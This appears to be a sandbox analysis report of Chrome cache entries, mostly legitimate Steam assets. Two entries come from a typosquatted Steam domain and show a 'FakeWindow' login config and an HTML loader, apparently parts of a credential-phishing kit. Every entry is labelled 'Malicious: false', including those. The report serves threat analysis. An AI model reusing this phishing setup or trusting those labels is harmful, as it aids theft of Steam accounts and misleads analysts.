Size (bytes):	7804
Entropy (8bit):	5.075534803725203
Encrypted:	false
SSDEEP:	192:ynPvanFGnHTl6It7+0Kb3ITOqN7lzsh0m3ftn:ynPiwHTlfV+0Kb3ITbN7lzsh0m31n
MD5:	7051B8038C5E00B3FC369D24CCA79D20
SHA1:	9B2498A477D25D6D6C6BDA01E5DD413446544A2E
SHA-256:	F2D659091B152890E05262CF498454D3D0365D736D5BF4EABEFFCAFD4B87D386
SHA-512:	F21341C978E0B374055C53A3596CA17FF996E1027081910FD151A6B2965D99CE105A0F5F39C5FCEFF42440AC7B13CEA8CDFF3F35272176C7F208ED47445013DB
Malicious:	false
Reputation:	low
Preview:	const e="Your session expired",n="Incorrect code, please try again",o="A server error occurred",i="There was an error communicating with the network. Please try again later.",t="Steam Guard",a="Account: %1$s",s="You have a mobile authenticator protecting this account.",_="Enter the code from your Steam Mobile App",r="Help, I no longer have access to my Steam Mobile App",c="Enter a code instead",g="You have an email authenticator protecting this account.",l="Enter the code from your email address at: %1$s",u="Help, I no longer have access to the email address for this account",m="Close",h="Loading Account",d="Please check your password and account name and try again.",p="Sign in",L="Sign in with account name",E="Password",f="Help, I can't sign in",w="Or sign in with QR",S=".... (Simplified Chinese)",v=".... (Traditional Chinese)",k="... (Japanese)",A="... (Korean)",b="... (Thai)",I="......... (Bulgarian)",C=".e.tina (Czech)",R="Dansk (Danish)

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	14447
Entropy (8bit):	5.021040825168234
Encrypted:	false
SSDEEP:	384:tz/MiNJjJjUIOBc18NTkPODsPWNm2eRuhP3Txcb7/G+lTRBYUX8iWRsbRZCaA:t/POsWDTIn8s2
MD5:	5EC80E0EA50E955C3D7193FA098AB013
SHA1:	C4D1182F4933DDA515896B1F71C010617B3C509F
SHA-256:	0FBB541D7D9CB3D5428CF496BDA26B8D9CDB012E184933FE0589BE3795F1AE6C
SHA-512:	6B01DDF2F0FFAD9C0F52027D1ACECCC5D5D53669C0E7A1DD8FD3E0A351919CCA859BDE1AFCA5F1FF0C48597F17910316316FB2A269120D38D409A5716BC2CDEA
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english
Preview:	..var g_recaptchaInstance = null;....function DisplayPage( page )..{....$('error_display').innerHTML = '';....$('error_display').style.display = 'none';.......switch ( page )....{.....case 'code':......$('wallet_code_form').style.display = '';......$('redeem_wallet_code_upsell_text').style.display = '';......$('address_form').style.display = 'none';......$('validate_btn').style.display = '';......$('validate_btn_in_progress').style.display = 'none';........$('wallet_code').value = '';.....break;..........case 'address':......$('address_btn').style.display = '';......$('address_btn_in_progress').style.display = 'none';......$('wallet_code_form').style.display = 'none';......$('redeem_wallet_code_upsell_text').style.display = 'none';......$('main_content').style.backgroundImage = "url('')";......$('address_form').style.display = '';.....break;....}..}....function UpdateStateSelection()..{...try ...{....if ( $('billing_country').value == 'US' )....{.....$('billing_state_text').style.displ

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	287
Entropy (8bit):	4.752014433041735
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXK6df6CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXvDgovXSLDiVLoBT
MD5:	886091A6E9C0F8B6D8EFAD3244D21374
SHA1:	290C5FA26BBC01919B61318E65D597ED446A593A
SHA-256:	2D4E158434568F7AD628EAA468EC1E4FE4ABDAA86AE9AF12A741D7B5EDD37FED
SHA-512:	3BA5DAAEDC0F65F4E290BDAE2FA4F8C8573D9D8B0C1004BB1693651F3D579B5FCF8C455399FB664546E082E7F4C0BEE55585AAD5E1EF84BB8ECA45B123205C2D
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e080156561232514300765c0c055e05
Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728283625345.257,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	dropped
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 76 x 75, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2686
Entropy (8bit):	7.8983946442596595
Encrypted:	false
SSDEEP:	48:gJ/6YRACqqA4fv93zCq/GY0oxlo1SoCvTY5nl4eXmB42cJ5lpsR53J7/3kf:gSYRJA4fv9hBFxcSTLYw42csDN/3kf
MD5:	8A1D77FA0B95FD6C8E21166BDA4229F4
SHA1:	68CD21CC81CC7B812ED41FD7DF98B8C73AAD73BD
SHA-256:	ABF7B6E3C36726CB1DAD94DC2AB7FFAA66A06D76BD59C047EFB1D2867F35409C
SHA-512:	C6AA743B7F72F54661EC39F1876A54D7A3E9C1C6F6AB3359FEEEB581D14734FF7A74A386F894BDB82D04F8D17D89EB3E3A370A6138EE43DB351DD5368E38A6A3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_logo.png
Preview:	.PNG........IHDR...L...K......a.....pHYs.................sRGB.........gAMA......a.....IDATx..\.r...>..l.i.M;cx.V.....w.v.Yf%..$=..'...t%j.L/.....vLW."e:cz.%c+3.XJ....9....... ....H^..<.._".L.VK%....H...('@......%.C..H.C.h[(....n......cB.rS....%kDBUJ..a...-....n?h..0R..>.u<.$.G.F.[..I....~.F....D]0...!.3......F!.w...M.....7Q}.)...%q..v..3K `..D...Ri-.#14a..M..c.F..2...U..C.V...cI~VH....&...i.-5aW..X'....#X..JsiHKL.R...ur$..5.;...BR.-.aL.y.x.AV.M....'.h).o$Y..........Q.....[....G.....k3z.]..TT.........g.R./..7..V.}.\|}.!.H.;...3(..$Kb..6w..}....eC.0o..Kd.5....'...v.0...p..P........?P.S....+........B..H.?y...%..T...Q.......N !.^\|.\|...t...Z...w/~../.....v.).UzY...d....n.......G&KQ..>{U6..M.@..3....X6...%V.......(..2}.1....7.....O8.A7[..a....r.b..C..H.T.......:m...#.@.~.nv.?.....-~.$....K$.v..-...C..D.E.0...'...ES.,.e...,"......ZTU..k..ug.....1a:D.G.z.....j@.@\?x..C.sow.........~..t.....d..N......O...s..3z.C...L..\|.s.sohd..[E.a...iO......q\|1....a

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/favicon.ico
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1243
Entropy (8bit):	5.102207940417109
Encrypted:	false
SSDEEP:	24:2dC5A6LfEhXUGbdQbWuKy+TYJvNkIQ/Ef3C45XHavRlLTNpxyRGNY:cGA+fEtUMzPyYYj9KEfS45XHavRZNnQT
MD5:	8D0070A77D9F490286D136A40F15DAD0
SHA1:	AAA0E6834DFAA4624E04223A8926714CD83688FF
SHA-256:	D46C60D96EFE34A372F59B9B4844F2AC5301E0FA1E0C460BC5E888134AF9A57C
SHA-512:	48DBC6751648844AAC5EF3FDEE3F841EBAB5AA61D55EBDE70C9A68CD172FC9EC4CC55BB16398F9576B3720944169D59DDC47AD20FADDC4275AF74297A426AE15
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 23.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 20 20" style="enable-background:new 0 0 20 20;" xml:space="preserve">..<style type="text/css">....st0{fill:#24ACE3;}....st1{fill:#FFFFFF;}..</style>..<g>...<g>....<path class="st1" d="M10,0C4.7,0,0.4,4.1,0,9.2l5.4,2.2c0.5-0.3,1-0.5,1.6-0.5c0.1,0,0.1,0,0.2,0l2.4-3.5c0,0,0,0,0,0.....c0-2.1,1.7-3.8,3.8-3.8c2.1,0,3.8,1.7,3.8,3.8c0,2.1-1.7,3.8-3.8,3.8c0,0-0.1,0-0.1,0l-3.4,2.4c0,0,0,0.1,0,0.1.....c0,1.6-1.3,2.8-2.8,2.8c-1.4,0-2.5-1-2.8-2.3l-3.8-1.6C1.5,17,5.4,20,10,20c5.5,0,10-4.5,10-10C20,4.5,15.5,0,10,0z"/>....<path class="st1" d="M6.3,15.2L5,14.7c0.2,0.5,0.6,0.8,1.1,1c1.1,0.5,2.3-0.1,2.8-1.1c0.2-0.5,0.2-1.1,0-1.6.....c-0.2-0.5-0.6-0.9-1.1-1.2c-0.5-0.2-1.1-0.2-1.6,0l1.3,0.5c0.8,0.3,1.2,1.3,0.8,2C8,15.2,7.1,15.5,6.3,1

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3690), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	42674
Entropy (8bit):	5.290998942043509
Encrypted:	false
SSDEEP:	768:VEFFuICBdexIB5vvpq1vd9X0t9lWUMhXB+8pHjBtPF51ffVuZSIopIAcriiwo+n5:VEFFuICBdexIB5vv81vdh0t9lWUMhXBH
MD5:	142CA6ECDE59370F1FDAB523A799BB9D
SHA1:	89333D7FE4B4D303A973B04D6324030A545DE437
SHA-256:	04CFE7E56501F0E5AAFBFFD2E5A31A7EE5E99A8FEF359940EE6589C50B7A5923
SHA-512:	F3C5126ACBC4AC11838B44DFFDF8D398C057DCB455AF88DBFD85D35B806739026719078BA269427E7A093A1680DDFE3C6E87AE2F6247426CEDB943A0D3CE5C2D
Malicious:	false
Reputation:	low
URL:	https://store.steampowered.com/mobile
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam, The Ultimate Online Game Platform</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akamai.steamstatic.com/public/css/v6/store.css?v=R7sxK7vRbz5g&l=english" rel="stylesheet" type="text/css" >.<link href="https://store.akama

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (549), with CRLF line terminators
Category:	dropped
Size (bytes):	3534
Entropy (8bit):	5.312911934963736
Encrypted:	false
SSDEEP:	48:zZVHfhrPkc2joyZlyjm9bdl+8g1dRojthpc2apt8a94NHtuiYIKBzysdC6xmUtRO:zZPrPKj2cdk8yajtY2apd943Y+6MUa
MD5:	29B231B211D707A52646E585521DCC54
SHA1:	ADFF2107EFEF3D36962F94B65082CBD0B60FBC44
SHA-256:	8FC4CECBD9539E272B4C1FB717FA7543D24DD8EB01C2F77D50F75CFBBFBC179B
SHA-512:	D6EB12CE308868F074024D3302345045396B087BE61156352DDB024F53725F4853B20431052B551A9B753E8C369CB8835E3B2382E7CDACBDFE796AB19BB2B8A7
Malicious:	false
Reputation:	low
Preview:	(function(h,g){"function"===typeof define&&define.amd?define([],g):"object"===typeof module&&module.exports?module.exports=g():h.Rellax=g()})(typeof window !== "undefined" ? window : global,function(){var h=function(g,n){var a=Object.create(h.prototype),k=0,p=0,l=0,q=0,e=[],r=!0,z=window.requestAnimationFrame\|\|window.webkitRequestAnimationFrame\|\|window.mozRequestAnimationFrame\|\|window.msRequestAnimationFrame\|\|window.oRequestAnimationFrame\|\|function(a){setTimeout(a,1E3/60)},A=window.transformProp\|\|function(){var a=document.createElement("div");..if(null===a.style.transform){var b=["Webkit","Moz","ms"],d;for(d in b)if(void 0!==a.style[b[d]+"Transform"])return b[d]+"Transform"}return"transform"}();a.options={speed:-2,center:!1,wrapper:null,round:!0,vertical:!0,horizontal:!1,callback:function(){}};n&&Object.keys(n).forEach(function(c){a.options[c]=n[c]});g\|\|(g=".rellax");var m="string"===typeof g?document.querySelectorAll(g):[g];if(0<m.length)a.elems=m;else throw Error("The elements you're

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1840
Entropy (8bit):	4.655269725457744
Encrypted:	false
SSDEEP:	24:VEJ7CWDdEOxx9ud0SEubERQUTS3nWclTvErUHiEt+:V+7HpxL60SnbhUTPOTv7C5
MD5:	6525474C49D3DD63567EE19B0816F4E9
SHA1:	EA407FEB9C8611F08FA9D27C51FD0C222271EC44
SHA-256:	17CFF7BC75A3CF19C7C3412C514B4C0BB651DF34BD4EE6717C6BF1F920302506
SHA-512:	09F9F7C5ED1173C5C0A82F425547DBAADEE79CFF9BEB8686EF9B30A182F0930D0EA9C2432FAD320E13CBC9A8DBAFAD22CCD2460F9EF414C115E339669B0E7237
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/slick/slick.css?v=ZSVHTEnT3WNW&l=english
Preview:	../* Slider */...slick-slider..{.. position: relative;.... display: block;.... -moz-box-sizing: border-box;.. box-sizing: border-box;.... -webkit-user-select: none;.. -moz-user-select: none;.. -ms-user-select: none;.. user-select: none;.... -webkit-touch-callout: none;.. -khtml-user-select: none;.. -ms-touch-action: pan-y;.. touch-action: pan-y;.. -webkit-tap-highlight-color: transparent;..}.....slick-list..{.. position: relative;.... display: block;.. overflow: hidden;.... margin: 0;.. padding: 0;..}...slick-list:focus..{.. outline: none;..}...slick-list.dragging..{.. cursor: pointer;.. cursor: hand;..}.....slick-slider .slick-track,...slick-slider .slick-list..{.. -webkit-transform: translate3d(0, 0, 0);.. -moz-transform: translate3d(0, 0, 0);.. -ms-transform: translate3d(0, 0, 0);.. -o-transform: translate3d(0, 0, 0);.. transform: translate3d(0, 0, 0);..}.....sli

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 406 x 719, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	503402
Entropy (8bit):	7.996257220777793
Encrypted:	true
SSDEEP:	12288:vyy70uBu8olN1OkoyLscRq3XNDLNLJ10A:vydHOkhhqXdN7
MD5:	EAA918479400786006BC5A37E77075A2
SHA1:	CB892A61D8643B235AC589D9E0FD7A4A97CE56A9
SHA-256:	69A47EA33E7FA0226B9F23B5837A9075F36A0FFC2E7ADC2F5B30F564E1DAD09C
SHA-512:	52BCD20485323C7451FCFBACF51A3E5366031198177CE53815EE031A451219755421DA894EDEB8E26A83EC84D7E52217B26158DDF5B0449BFFE8F286B2238942
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670
Preview:	.PNG........IHDR.............A..4....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:4CE48FD624C911E48BC599859989B32F" xmpMM:DocumentID="xmp.did:4CE48FD724C911E48BC599859989B32F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE48FD424C911E48BC599859989B32F" stRef:documentID="xmp.did:4CE48FD524C911E48BC599859989B32F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>>}M.....IDATx..}...e..=3...g.n6..nz'.!.@H...\|...b...'"*....S.E..J....i...m....:3..3s.l.........kr.3g......WX..;.D..@

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3966
Entropy (8bit):	5.142958773271244
Encrypted:	false
SSDEEP:	96:l62ePL5p/6t0hHEcmefouMXQ2AGBm9HWJPon+6i+p:MC2foXg2AGgHWt8
MD5:	76E4C70A57760DE5DB02A53C82B1C74E
SHA1:	5393F2417550ADA806129D85A0335CC3A8C918A7
SHA-256:	1DF1807DE57661ACE09F4F8A4CA7314DF333DA34683FF384BE93270AA6032803
SHA-512:	3BB9DFAF3DA8E6A5D2665156E4CAB88D042230B7C4D6475B3CFBC371B729CBF540FE582EA6D282713088ADBAE9A6A0217EFEC18EBA72BA29BC494E6CA9E0169F
Malicious:	false
Reputation:	low
Preview:	....function BHasShippingStateDropDown()..{...return $J('#shipping_state_select_droplist') && $J('#shipping_state_select_droplist')[0] && $J('#shipping_state_select_droplist')[0].childNodes.length > 1;..}....function Shipping_UpdateStateSelectState()..{...if ( $J('#shipping_country') )...{....if ( BHasShippingStateDropDown() )....{.....$J('#shipping_state_text').hide();.....$J('#shipping_state_select_dselect_container').show();....}....else....{.....$J('shipping_state_text').show();.....$J('shipping_state_select_dselect_container').hide();....}...}..}....function Shipping_VerifyAddressFields( rgBadFields )..{...var errorString = '';...rgBadFields = {....shipping_first_name : false,....shipping_last_name : false,....shipping_address : false,....shipping_city : false,....shipping_state_text : false,....shipping_phone : false,....shipping_postal_code : false,....shipping_state_select_trigger: false...}.....return errorString;..}....function Shipping_VerifyShippingAddress( sessionID, ajax_

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	725
Entropy (8bit):	5.169001565984173
Encrypted:	false
SSDEEP:	12:qTp+09T7cVn2NDUwAzc0w4EXrHFpxw46FpQqstW3FiryRsVgtKW3FiDYxGQL:0p+8YuDUwJ0bEbXxb6XatW3sasVgtKWt
MD5:	FC96688EC879887FC062B0F8107D2A8F
SHA1:	67D6035D77834D1BDDCAB59CA8EB1F2B6A4C9657
SHA-256:	884923F5ABEB53C8F4F5932684F2B6AA9652D1946451FB91583BA0EEB846C147
SHA-512:	A6AD96EDC6808175A67FF8B6CE7E9F51D7096FBC9521E0C33EEBBA059A7026B101B21B28CB0EBF658D1B6A353D4BA4E841816D5586A4377C54DA0540CE84695E
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e080157520d047458025c5d32025007
Preview:	<!doctype html>.<html lang='en'>.<head>..<meta charset='UTF-8' />..<link rel='shortcut icon' type='image/x-icon' href='https://steamcommunity.com/favicon.ico' />..<meta name='viewport' content='width=device-width, initial-scale=1.0' />..<title>Steam</title>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js'></script>..<script crossorigin src='https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js'></script>. <script type="module" crossorigin src="/721d7f512e0801585d0204401a0e60575729722f73.js"></script>. <link rel="stylesheet" crossorigin href="/721d7f512e0801585d0204401a0b6542182c52296b.css">.</head>.<body>.<div id='root'></div>.</body>.</html>.

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
